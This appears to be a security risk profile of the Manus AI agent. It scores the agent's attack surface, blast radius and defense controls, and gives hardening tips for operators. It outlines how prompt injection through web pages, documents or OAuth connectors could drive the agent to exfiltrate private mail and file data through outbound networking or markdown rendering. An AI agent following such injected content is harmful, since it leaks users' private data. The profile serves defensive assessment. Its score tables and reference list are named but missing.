1 Key Risks

The most critical security risks an operator inherits when deploying this agent in its documented default configuration. Manus presents broad input and tool execution exposure with minimal vendor-implemented controls on the default configuration, placing the full hardening burden on the operator.

2 AIRQ Scores

The four headline scores quantify how exposed the agent is, how damaging a successful attack would be, and how much the agent’s own controls reduce that risk. Manus, now operating at enterprise scale under Meta [10], carries a low composite score reflecting high capability with high exposure and minimal default defenses.

Manus lands in the Exposed Giants quadrant with Attack Surface at 7.36, Blast Radius at 8.50, and Defense Controls at 2.

The table below summarizes Attack Surface out of 10, Blast Radius out of 10, Defense Controls out of 15, and the composite AIRQ score.

3 Attack Surface

Attack surfaces are the entry points and interaction patterns through which adversarial input can reach the agent’s reasoning loop and steer its behavior. The agent reasoning loop ingests untrusted content from web browsing, search results, uploaded documents, and OAuth-connected services as first-class input.

Higher scores indicate surfaces where independent research has demonstrated exploitation or where the vendor documents broad unrestricted access by default.

Each row maps one attack surface to a score out of five and a brief comment citing the evidence anchor for the assessment.

The Lethal Trifecta is triggered when an agent processes untrusted content, accesses private data, and communicates externally in the same session — the three conditions that turn an isolated prompt injection into full-chain exfiltration. Manus ingests untrusted web content and connector data (untrusted_input), reads private mailbox and file-storage records via OAuth (sensitive_data), and transmits bytes outbound through unrestricted networking and markdown rendering (external_egress).

4 Blast Radius

The blast radius is what an attacker who controls the agent can reach — which systems they touch, which credentials they read, and which actions they take without operator approval. A compromised Manus sandbox reaches root-level code execution, unrestricted outbound networking, OAuth-scoped credentials, and public internet exposure via deploy_expose_port.

Higher blast scores indicate factors where the agent holds broad default authority or where independent research demonstrated active exploitation.

Each row ties one blast factor to its score out of four and the agent-specific evidence anchoring the assessment.

5 Defense Controls

Defense controls are what the agent’s own architecture does to detect, contain, and report attacks before they reach the operator’s systems. The vendor publishes sandbox isolation and compliance certifications but leaves input filtering, action approval, and output sanitization as operator-managed on the default configuration.

Higher scores indicate stronger vendor-implemented safeguards; most components score zero, reflecting an operator-managed defense posture.

Each component is scored on vendor-implemented defaults from zero (nothing in place) to three (independently verified multi-layer control).

6 Hardening Tips

Concrete actions an operator can take to reduce the risks reported above, grouped by which defense control each tip strengthens. Operators should prioritize three actions in order: (1) input filtering to break the trifecta chain, (2) per-action approval gates for shell and deploy commands, (3) output sanitization to constrain blast radius.

Input Guardrails

Input guardrails intercept adversarial content before it reaches the reasoning loop.

Execution Isolation

Execution isolation contains what a compromised agent can do on the host.

Action Controls

Action controls govern which tools and actions the agent can invoke autonomously.

Output Guardrails

Output guardrails inspect what the agent sends to other systems and users.

Monitoring

Monitoring captures what the agent did and surfaces anomalies for review.

7 References

The evidence base behind every score and finding in the profile, grouped by source type so the reader can verify any claim. Numbers in brackets throughout the report (e.g. [7, 13]) refer to entries below, listed in citation order.